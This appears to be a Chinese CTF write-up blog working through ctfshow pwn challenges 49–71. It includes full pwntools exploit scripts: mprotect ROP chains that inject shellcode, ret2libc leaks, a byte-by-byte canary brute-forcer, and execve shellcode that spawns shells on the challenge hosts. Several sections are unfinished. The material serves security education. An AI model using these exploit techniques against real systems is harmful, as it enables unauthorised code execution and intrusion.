但问题在于,具体该修改哪个内存区域?可以随便修改吗? 参考了官方wp,答案是不能,因为mprotect修改内存属性时有条件: 指定的内存区间必须包含整个内存页 (4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍

在现代操作系统中,内存管理通常采用分页机制。每个进程的虚拟地址空间被划分为固定大小的页面,通常是 4KB(包括amd64和i386默认都是,但具体实现和支持的页面大小可能因操作系统和硬件配置而有所不同,amd64支持更大的,而i386有限),每个页都有一个对应的页表项,记录其物理地址和访问权限。内存页的引入,好处在于使操作系统可以更高效地管理内存,因为每个页面的大小是固定的,另外每个页面可以有不同的访问权限,单独管理,从而提高安全性。理解时,可以将整个虚拟内存空间类比成一本书,只不过每一页都只能是固定的页面尺寸,比如只能是A4。

起始地址必须是对齐的内存页起始地址,这是因为操作系统在管理内存时是以页为单位的。如果起始地址不对齐,会导致内存管理复杂化。假设内存页大小为 4KB(十进制4096),那么有效的起始地址应该是 0x0000、0x1000、0x2000 等(0x1000H=4096D,0x2000H=(4096*2)D,也就是刚好能被每页的大小整除,所以这叫起始地址对齐)。而如果起始地址是 0x0100,那么第一页的0x0100前部分将被忽略,这会导致内存管理的不一致和浪费。区间长度必须是页大小的整数倍,这样可以确保整个区间覆盖完整的内存页,否则,最后一页的某一部分将被忽略或处理不当。总之,如果不满足这两个条件就破坏了内存页管理的完整性。

不同操作系统可以通过下面的方式来确认当前系统设置的页大小。 Linux​​: 默认页面大小为4KB,可通过getconf PAGE_SIZE命令验证。 支持大页需挂载hugetlbfs文件系统并配置内核参数。 ​​Windows​​: 默认页面大小为4KB,可通过GetSystemInfo()dwPageSize字段查询。 大页需显式调用API并满足系统要求。

所以接下来思路很明确了,在栈外的内存空间找一个满足mprotect利用条件的内存空间,记下起始地址;填充完padding后,先跳转到mprotect函数,寻找一个同时包含3个pop+末尾1个ret的gadget,传递mprotect的参数,接着跳转到read函数,同理用同一个gadget为read传参,因为我们需要用read读取标准输入中的shellcode到该可控属性的内存空间从而执行。

  • 寻找满足条件的内存空间: ida中用ctrl+s查看各个段信息,只要看各个起始地址的后四位是否为(0x1000即4KB)的整数倍即可,虽然第一个也满足条件,但它是代码段,显然是在栈中,而.got.plt则是在程序的全局数据段不属于栈内,所以需要的起始地址为0x80DA000 2024-10-11-00-03-36

  • 寻找满足条件的gadget:

2024-10-11-00-10-45 0x080a019b

  • 构造最终exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *

context(log_level='debug', arch='i386', os='linux') # 调试信息
pwnfile = './pwn49' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28305) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)

padding = 22 # 填充长度
mprotect = elf.sym['mprotect']
print("mprotect_addr:" + hex(mprotect))
read = elf.sym['read']
print("read_addr:" + hex(read))
gadget = 0x080a019b
mem_start = 0x80DA000
mem_size = 0x1000 # 即只修改完整的一页(4KB)
mem_proc = 0x7 # 可读可写可执行
read_size = mem_size # 够shellcode完整写入就行,不妨直接设为一个完整页

# unsigned int __cdecl mprotect(const void *a1, size_t a2, int a3)
pld = padding * b'A' + p32(mprotect) + p32(gadget) + p32(mem_start) + p32(mem_size) + p32(mem_proc)
# ssize_t read(int fd, void *buf, size_t count); 其中buf是要将shellcode写入到的位置
pld += p32(read) + p32(gadget) + p32(0) + p32(mem_start) + p32(read_size) + p32(mem_start)

# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = ''
# 第一次发送,利用mprotect修改指定内存空间属性,然后等待read读取第二次标准输入中的shellcode
io.sendlineafter(delimiter,pld)
# 第二次发送,构造shellcode
shellcode = asm(shellcraft.i386.linux.sh())
io.sendline(shellcode)
io.interactive() # 打通后获得一个交互式shell

注意对于第二个pld的最后一个p32(mem_start)不能漏,否则无法利用成功。 至于为什么要加这个,原因暂时还没研究出来,待解决2024-10-13-23-13-43 (水委师傅给了很深刻的解释,待整理)

2024-10-11-01-18-06

pwn50(待完善方法二)

考察点:动态链接程序利用mprotect修改内存属性写入shellcode(ret2BSS/ret2DATA)

描述:好像哪里不一样了 远程libc环境 Ubuntu 18 查看保护与程序运行情况: 2024-10-13-17-47-47 ida各函数: 2024-10-13-17-50-05 2024-10-13-17-50-27 gets读取不限长度,所以存在溢出。本地未找到system和sh。gdb计算padding为40。 依旧先尝试ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板

context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn50' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28103) # 远程连接

elf = ELF(pwnfile) # 加载 ELF 文件

padding = 40 # 填充长度
# 泄露GOT表中存储的puts实际地址
puts_plt = elf.plt['puts']
print("puts_plt_addr:" + hex(puts_plt))
puts_got = elf.got['puts']
print("puts_got_addr:" + hex(puts_got))
main = elf.symbols['main'] # puts的返回

# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi'] # 可以根据需要修改
addresses = {
'puts_got': puts_got,
'puts_plt': puts_plt,
'main': main
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'puts_got', 'puts_plt', 'main'] # 自由定义顺序

# 使用导入的函数构造 ROP 链
pld1 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
delimiter = 'CTFshow'
io.sendlineafter(delimiter,pld1)

# 初步测试是否能够接收到
#leak_puts = u64(io.recv()[0:8])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 8:
# raise ValueError("Received data is less than 8 bytes")

# 正确的接收泄露地址方式
leak_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("leak_puts_addr:" + hex(leak_puts))

# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", leak_puts)

# 计算libc基地址与需要的偏移
libc_base = leak_puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))

# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'binsh': binsh,
'system': system
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'binsh', 'ret', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld2 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
# pwndbg 附加调试
#gdb.attach(io)
#pause()
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell

注意由于是amd64,要注意栈对齐,因此这里比起pwn45多加了个ret。ROP动态链构造模板参考pwn40。

为了学习深入些,学习下官方wp中的方法,发现原来动态链接程序也是可以用mprotect来利用,利用思路与pwn49一样,只不过前面依旧还是先泄露libc,把后边通过system和sh替换成mprotect的修改属性并注入shellcode方式。 先查看是否有可作为修改内存属性的内存起始地址(除.text外,因为受NX影响),可以通过ida的ctrl+s或objdump: 2024-10-14-00-38-00 显然只有.got.plt头符合mprotect的利用条件(原理详解参考pwn49) 然后寻找可间接传递存储三个参数的gadgets: 2024-10-14-00-46-52 接着可以构造exp,但是在尝试过程中发现实际上这样打不通,因为如果仅仅只是通过本地elf中的gadgets来实现利用,是无法成功的, 具体原因: 2024-10-15-00-32-13 官方拿到的gadgets: 2024-10-15-00-32-46 2024-10-15-00-32-54 2024-10-15-00-35-11 2024-10-15-00-35-43 2024-10-15-00-34-04 其中libc可以从在线libc数据库网站上直接下载: 2024-10-15-00-42-09 但显然,这是由于之前方法一的ret2libc中经实践知道该libc版本是能打通的,所以选择它,而实际利用时,我们只能逐个尝试(注意要符合架构) 或者其他途径了。 接着,我们需要从该libc中指定需要的gadgets而不是从本地elf。 (待完善,发现即使用官方wp也打不通,原因暂时未知)

pwn51(待)

考察点:c++代码分析、

描述:I'm IronMan 查看保护与程序运行情况: 2024-10-13-22-09-47 ida中的函数: 2024-10-16-20-46-56 首先分别进入这几个函数根据功能修改其函数名,方便分析: 2024-10-16-21-14-16(快捷键N2024-10-16-21-11-23 跟进到ctfshow函数中,发现和以往分析的目标都不太一样,经了解这是c++写的程序,没有c++基础的师傅看到这里估计和我一样有些头疼,只好借助ai辅助分析下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ctfshow()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_DWORD v8[3]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]

memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(
(int)&unk_804D0A0,
(int)&unk_804A350);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, s);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_804D0B8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11, v11, v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(
(int)&unk_804D0A0,
(int)&unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, (int)&unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}

首先关注熟悉的部分,栈溢出常客read函数从标准输入读取32字节写入到同样是32字节的s中,可能存在栈溢出,因为别忽略了末尾的\x00,接着就是另一位常客strcpy,v4是一个字符串指针,指向的值长度不确定,也有存在溢出的可能性,接下来就是一大堆陌生的std::开头的代码,只需要知道整体做了什么就行,这些来自于C++ 标准库中的 std::string 类,用于处理字符串,其中operator=:用于将后面的字符串赋值给前面的字符串,operator+=:用于将后面的字符串追加到前面的字符串后。整体来看(emmmmmm….暂时放弃了,官方wp说是将字符“I“替换成了“IronMan“,最后在strcpy的时候发生了溢出,但是苦于在代码中暂时分析不出来,先跳过了。。。)

pwn52

考察点:基本的传参ret2win

描述:迎面走来的flag让我如此蠢蠢欲动 查看保护与程序运行情况: 2024-10-16-22-18-16 ida中函数: 2024-10-16-22-19-18 2024-10-16-22-19-33 显然gets存在栈溢出,不限输入长度。 2024-10-16-22-23-35 关注if,满足两个赋值条件后才能够输出文件流中存储的flag内容。

gdb计算出padding为112。所以思路很清晰了,通过gets的溢出,控制返回到flag函数,同时传递满足条件的参数,就能够拿到flag值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *

context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn52' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28195) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)

padding = 112

a1 = 876
a2 = 877
flag = elf.sym['flag']
main = elf.sym['main']

pld1 = padding * b'a' + p32(flag) + p32(main) + p32(a1) + p32(a2)
delimiter = 'want?'
io.sendlineafter(delimiter,pld1)

# pwndbg附加调试
#gdb.attach(io)
#pause()

io.interactive() # 打通后获得一个交互式shell

发现没什么新鲜的考点,就是最基本的传参ret2win,无非加了点条件。

pwn53

考察点:canary原理的理解、canary爆破基本流程、-1绕过无符号型输入限制、strcmp逐字节比较

描述:再多一眼看一眼就会爆炸 查看保护与程序运行情况: 2024-10-16-22-42-03 看来需要先写入一个canary在根目录,根据提示,这题考察canary原理。写入后,重新检查: 2024-10-16-22-43-53 还是没有检测出canary,但是可以正常运行了。再次探针该功能: 2024-10-16-22-45-05 所以第一部分输入指定buffer长度,第二部分指定要向buffer中写入的值,超过长度部分的会舍弃掉。 ida中函数: 2024-10-16-22-48-53 2024-10-16-22-53-22 从刚刚写入的canary文件流中读取4个字节的canary(一段随机字符串)写入到global_canary中。 2024-10-17-01-01-00 出现了挺多变量,需要知道各自的用途,因为对于关键逻辑的理解都重要,while循环从标准输入中逐个读取字符串并存储,每次读取1字节,v2用于存储第一次输入中的字符串(表示写入buffer的字节数),v5控制着能输入的字符串最大长度,if (v2[v5] == 10):主要检查从输入中读取的字符是否为换行符(ASCII值10),如果是,则执行break退出循环;第二次输入前,sscanf从v2中读取字符串并解析成整数后存储到nbytes,接着第二个read从标准输入中读取nbytes个字符,写入到buf,而由于nbytes可控,如果值大于buf的长度,显然就会存在缓冲区溢出。最后的if则最为关键,用于栈保护检查,检查canary是否发生了更改,具体是比较当前存储的canary与原始设置的全局canary前四个字节,如果比较结果不为0(相减后不等于0,即两者不同),则说明可能是栈溢出将其覆盖了,则此时强制退出程序,这也就是canary保护的原理。不过要注意的是,这题只是模拟canary保护便于理解原理【参考相应wiki】,而并不是按照canary原本的设置机制,因此checksec没有检测出来。

所以此时绕过canary的思路也很清晰,也就是在溢出前我们需要想办法泄露(爆破)出设置的原始canary值,接着在栈溢出后,在合适的比较canary时的位置填充上该原始值,从而让其检测成功实现bypass,接着最终将控制流跳转到flag函数,即可拿到flag。但需要注意的是,通常情况下爆破canary的可能性较小,因为爆破意味着程序会出现大量的崩溃,而程序崩溃后canary值也会重新生成,值是动态的(会与TLS进行联动),且除去低位固定的起到截断作用的\x00,剩余3个字节的爆破还有0x100^3种情况(每个字节可选数值从0x00~0xFF,即256=0x100,但实际上由于canary的生成规则会小于这个值),而本题模拟的canary是静态的(与TLS无关),所以存在爆破的可能性。 从gdb中也能看出Canary是一个固定值: 2024-10-24-21-41-38 但由于此处是本地自己随意写入到文件的,而不知道远程的是什么,要打通远程就得爆破。

至于为什么可以逐个字节爆破,是由于本题的canary检测逻辑就是逐字节读取的同时逐字节检测的,我们可以很容易从gdb的反汇编代码中看出,由ida结果可知校验逻辑在ctfshow函数的memcmp(memory compare),那么就在gdb调试到其内部: 2024-10-26-11-01-17 2024-10-26-11-09-25 发现底层比较是movzxcmp,前者从memcmp原型的str1str2中分别加载一个字节,然后用cmp进行比较,即实现了逐字节比较,比较完后接着又跳转回read继续读取下一个字节,然后继续比较,如此往复。

1
int memcmp(const void *str1, const void *str2, size_t n)
  • str1 – 指向内存块的指针。
  • str2 – 指向内存块的指针。
  • n – 要被比较的字节数。

返回值: < 0,则表示 str1 小于 str2。 > 0,则表示 str1 大于 str2。 = 0,则表示 str1 等于 str2。

另外经测试,当仅在payload中每次提供单个字节,也能佐证上述结论:

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
from pwn import *

# 测试是否逐字节检测canary
context(log_level='debug', arch='i386', os='linux') # 调试信息
io = process('./pwn53')
io.sendlineafter(b'>', b'-1')
canary = 0x6a
payload = b'a' * 0x20 + p8(canary)
io.sendafter(b'$ ', payload)
io.recv(1)
ans = io.recv()
print(ans)

其中,本地canary文件如下: 2024-10-26-11-19-42 对应的hex就是0x6a6c666a。 执行脚本: 2024-10-26-11-30-28 而如果将payload中的canary单字节改成其他的如0x6d2024-10-26-11-31-07 报错canary值错误,显然通过对比就能说明是逐字节检测。

注意:正常来说即使canary值检测到错误,stdoutstderr中不会输出该提示语。本题有输出是因为仅模拟canary的检测,故意设置的。

其中第一次输入用-1来绕过长度限制: 2024-10-27-15-18-19 【学习自水委师傅的wp

另外注意,0x20即padding并不再像往常那样直接通过cyclic计算,因为此时有了canary,当多余的输入覆盖到canary位置,就会直接报错而不是返回段错误信号,因此程序并未中断也就计算不出来cyclic的值: 2024-10-26-11-37-44 但本题可以通过是否返回报错提示语从而间接判断输入多少不会覆盖到canary。 同理,还可以接着附加第二个字节,同样也证明是逐字节检测: 2024-10-26-11-43-35 2024-10-26-11-44-29 把canary改成0x6a2024-10-26-11-45-19

推测如果canary校验的底层逻辑是用如xor指令将对象视为整体来比较的,或许就没有办法逐字节爆破,因为不管前几个字节与canary的对应上,整体始终都是错的,每次的响应都是检测到canary不匹配,没有爆破的判断依据。

综上证明,能够爆破canary,而爆破需要有回显依据来判断当前字节是否爆破成功,即前面两种不同提示语,逐字节爆破每次都只需要考虑0-255,显然比完整爆破更有效率,故编写payload如下,以下学习自官方wp并稍加修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'critical' # 设置日志等级,忽略过多调试输出干扰
def brt_canary():
global canary
canary = b''
for i in range(4): # 外层,爆破四个字节
for x in range(0xFF): # 内层,每个字节取0~0xFF
pwnfile = './pwn53'
io = process(pwnfile)
#io = remote('pwn.challenge.ctf.show', 28178)
io.sendlineafter(b'>', b'-1')
pld = b'A' * 0x20 + canary + p8(x) # 逐字节爆破,注意下一轮循环前canary值要刷新,然后再附加到pld
io.sendafter(b'$ ', pld)
#io.recv(1) # 相当于sleep,提高打远程时的稳定性
ans = io.recv() # 接收提示语,从而根据其验证爆破成功与否
print(ans)
if b'Canary Value Incorrect!' not in ans:
print(f'the({i})index, find canary({x})!')
canary += p8(x)
break
else:
print('trying......')
io.close()
print(f'canary= {canary.hex()}')

def exp():
pwnfile = './pwn53'
io = process(pwnfile)
#io = remote('pwn.challenge.ctf.show', 28178)
elf = ELF(pwnfile)
flag = elf.sym['flag']
main = elf.sym['main']
io.sendlineafter(b'>', b'-1')
pld2 = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
io.sendafter(b'$ ', pld2)
io.interactive()

if __name__ == '__main__':
brt_canary()
exp()

其中爆破canary的整体逻辑几乎是通用的,根据题目设置做灵活调整即可;另外在接收响应中完整提示语之前,加一个io.recv(1)的作用相当于sleep(),这样做是确保打远程时不会因为发送太快而崩掉: 2024-10-27-15-24-54 在爆破完canary后,劫持程序执行流到flag函数即可,注意这里的p32(0) * 4,即我们爆破的canary到ret返回地址的偏移量,这可以从ida的栈分布中看出: 2024-10-28-20-48-43

pwn54

考察点:

  • 描述: 再近一点靠近点快被融化

查看保护与程序运行情况: 2024-10-28-21-02-07 显然,程序需要读取来自文件中正确的密码才能获取flag。 ida查看各函数: 2024-10-28-21-38-20 2024-10-28-22-45-03 显然现在问题关键就在于如何找到password.txt中的内容。到这里不知道这题要考察什么,故学习官方wp: 由于main函数中,输入buffer对应的变量v5与读取flag文件内容赋予的变量s在同一个栈结构中,v5是可以覆盖到s的: 2024-10-28-23-57-50 2024-10-28-23-58-20 两者间隔的偏移量是0x160-0x60=0x100,正好等于v5设定的长度256,所以可以看作“padding“,将v5填满,后续中的put函数将输出v5的值,而存在风险的就是put函数,因为put函数可以无限输出,直到遇到换行符才停止,这就意味着,如果并非输入正常值而是0x100个垃圾数据(长度>=256),那么最后一个换行符就不在if判断的区间范围内,没法读入/n所以无法替换为\x00从而结束,导致会继续输出紧跟其栈分布后的s存储的值,即泄露密码值。 首先尝试本地打通,以验证上述结论,取cyclic(0x100)发送: 2024-10-29-00-32-32 观察到该字符串后就是本地设置的密码,所以当我们接收时需要分两次,以字符串作为分隔符,然后输出其后的密码内容。所以,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
pwnfile = './pwn54'
#io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28242)
pld = cyclic(0x100)
io.sendlineafter('Username:\n', pld)

# method 1
recv = io.recv()
password = recv.split(b'aa,', 1)[1]
print(password)

# # method 2
# io.recvuntil('aa,')
# password = io.recv(50)
# print(password)

有两种接收的方式,第一种是利用split对接收到的全部数据根据分隔符进行分割,输出后面的部分;第二种则是读取分隔符后的内容,长度可以随意取更大的值。 泄露出密码后,nc连接远程(或写在前面的exp中新建立连接),此时输入正确密码和任意用户名即可得flag: 2024-10-29-00-56-51

pwn55

考察点:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
pwnfile = './pwn55'
#io = process(pwnfile)
io = remote('pwn.challenge.ctf.show',28239)
elf = ELF(pwnfile)
flag = elf.sym['flag']
flag1 = elf.sym['flag_func1']
flag2 = elf.sym['flag_func2']
pld = b'A'*48 + p32(flag1) + p32(flag2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)
io.sendlineafter('flag: ', pld)

io.interactive()

pwn56 ~ pwn57

考察点:认识32、64位shellcode

pwn56:

  • 描述: 先了解一下简单的32位shellcode吧

这题直接运行就可以拿到shell,这不重要,重要的是理解shellcode都做了什么。 首先查看保护: 2024-11-10-15-48-29 NX关闭,说明栈可执行shellcode。 ida查看函数: 2024-11-10-15-51-49 代码逻辑一目了然。重点是看懂这里的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public start
start proc near
push 68h ; 'h'
push 732F2F2Fh
push 6E69622Fh
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve
start endp

_text ends

参考官方wp对其逐个分析学习下: 刚开始的连续三个push指令,是为了先将需要传递给sys_execve函数的参数存入栈中等待传递,有意思的地方在于实际上这三个push拼接后只作为sys_execve的其中一个参数/bin/sh而不是所有,如果直接传/bin/sh不合适,因为这不符合对齐的原则:7%4≠0,这里巧妙地将h独立开来,保证该参数能够完整传递。 2024-11-11-21-08-40长图警告 Σ( ° △ °|||)︴<点我查看>

接着,将当前已经拼接完整的/bin///sh参数地址存入ebx,然后通过两个xor将剩余两个参数即命令行参数和环境变量设置为NULL,然后

1
2
push 0xB
pop eax

将0xB(11,是sys_execve的系统调用号)先压栈再弹栈存入eax,最后,int 0x800x80是特殊的中断号,会触发操作系统内核中的中断处理程序,通常用于用户态程序发起系统调用,此时控制权会转移到内核态,接收传递来的系统调用号和其他参数执行相应系统调用函数。

在现代操作系统中,通常使用更高效的方法(如 syscall 指令)来发起系统调用,但 int 0x80仍然是理解和学习系统调用机制的重要部分。

综上可以体会到,一个小小的shellcode设计如此精妙且高效。

pwn57:

  • 描述: 先了解一下简单的64位shellcode吧

amd64的shellcode和i386的整体过程差不多。刚开始将 rax 寄存器的值(通常用于存放函数返回值)压入栈中,目的是保留 rax 的值,以便后续使用;传递/bin/sh时由于一次能传8字节,补一个/就能满足对齐要求,同样也是先存入寄存器再压入栈中,然后根据调用约定顺序相互配合传给对应的寄存器。最终,同样将系统调用号0x59传递从而触发syscall2024-11-12-21-22-30 2024-11-12-21-22-53

pwn58 ~ pwn59

考察点:简单ret2shellcode、shellcraft模块的基本使用、函数传参时的对齐问题

pwn58:

  • 描述: 32位 无限制

查看程序保护与执行情况: 2024-11-12-21-31-12 触发了段错误并且根据提示是栈溢出然后ret2shellcode。 查看ida: 发现main函数无法反编译,其他函数可以,因此main函数只能分析反汇编代码: 2024-11-12-22-33-14 根据报错提示定位到失败位置: 2024-11-12-22-47-09 ctfshow函数中用了不安全的gets,显然漏洞点最有可能在这了: 2024-11-12-22-48-29

查看其反汇编代码: 在调用ctfshow前后,发现多次出现了:

1
lea     eax, [ebp+s]

2024-11-13-00-26-14 2024-11-13-00-28-51 刚开始它的作用是将传递给ctfshow(更确切来说是gets)的参数s从[ebp+s]取出压入栈,当ctfshow返回后,最终却直接call eax,也就是说获取到的输入又以一种看似循环的方式由存入[ebp+s]到仍旧存储在[ebp+s]中,并且还可以当函数来调用,同时[ebp+s]是在栈中,这就给shellcode的利用创造天然条件。因此,可用pwntools自带模块生成shellcode直接作为输入,从而调用执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

exe = ELF("./pwn58")
context(arch='i386',os='linux')
context.binary = exe

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.challenge.ctf.show", 28211)
return r

def pwn(r):
shellcode = asm(shellcraft.i386.linux.sh())
r.sendafter('Attach it!', shellcode)

def main():
r = conn()
pwn(r)
# good luck pwning :)
r.interactive()

if __name__ == "__main__":
main()

这题的关键就在于能读懂汇编代码,找到关键可疑位置处,能联想到和shellcode的利用条件有所关联。

pwn59: 原理和pwn58一样,只不过架构变了而已,且注意将shellcode生成的架构指定修改成amd64。 2024-11-13-00-57-40

pwn60

考察点:简单ret2shellcode

  • 描述: 入门难度shellcode

查看程序的保护与执行情况: 2024-11-13-01-00-42 能够触发段错误,存在栈溢出。

查看ida: 2024-11-13-01-04-32 显然漏洞点是gets(),无限制读取输入,然后通过strncpy()将其复制到buf2中。如果此时buf2中具有可执行权限,那么就可以执行shellcode。查看buf2所在偏移: 2024-11-13-01-12-16 在bss段中,通过内存映射查看该范围内的权限: 2024-11-13-16-09-55 然而却发现,该段内存没有可执行权限,直到将程序放在另一台ubuntu18的靶机上发现此时映射的结果又不一样了: 2024-11-13-16-10-08 查看官方wp后发现是libc版本的问题,正好是glibc-2.27,版本差异较大,所以对应的偏移等也有些差异。 所以思路很明确了,生成shellcode作为输入,然后跳转到buf2从而执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

exe = ELF("./pwn60")
context(log_level='debug',arch='i386',os='linux')

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.challenge.ctf.show", 28208)
return r

def pwn(r):
pad1 = 112
buf2_addr = 0x804a080
shellcode = asm(shellcraft.sh())
pld = shellcode.ljust(pad1, b'A') + p32(buf2_addr)
r.sendline(pld)

def main():
r = conn()
pwn(r)
# good luck pwning :)
r.interactive()

if __name__ == "__main__":
main()
这里的`ljust`是将shellcode未能填满的部分都填充为A。

pwn61

考察点:

  • 描述: 输出了什么?

查看程序保护与运行情况: 2024-11-13-17-20-09 可以发现这里的地址出现了随机值,并且出现段错误。 首先通过gdb先算出padding为24。 查看ida函数: image.png v5存储输入的值,并且v5所在地址会提前被打印出来,由于程序开启了PIE,所以每次该地址都是随机的。用gets来读取v5中输入的值,显然存在栈溢出。由于保护中表明栈可执行,按照习惯先用vmmap查看下具体是哪个部分(为了兼容libc环境,这几题都用的ubuntu18来做题): image.png 但是并不像前面的题目一样,能够看出可利用的vector所在的偏移范围,到这里卡住了不知该如何前进。学习官方wp,让我们注意接下来的汇编指令leave,该指令相当于MOV SP,BP;POP BP,会释放栈空间,重置bp和sp指针,而当我们反汇编查看用shellcraft生成的shellcode:

1
2
3
4
5
6
7
# -*- coding: utf-8 -*-
from pwn import *

# 生成 64 位 Linux shellcode
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
# 反汇编并打印
print(disasm(shellcode))

image.png 可以发现在 回过头看ida发现v5所在地址距离上一个栈帧的指针(这里的s)偏移为0x10, image.png

pwn62

考察点:

pwn71

描述:32位的ret2syscall

考察点:

保护: image.png 运行功能如下,仅接收输入: image.png ida分析: image.png main函数很简单,就是gets获取输入,也是溢出点,同时system找不到,字符窗口也无与flag相关的有效信息: image.png gdb先确认padding为112: image.png

格式化字符串

整数安全

Bypass安全机制

pwn115

堆利用-前置基础

堆利用

中期测评

彩蛋

堆利用++

综合利用

PWN技巧

其他漏洞

LLVM-PWN

WEB-PWN

MIPS-PWN

ARM-PWN

RISCV-PWN

Kernel-PWN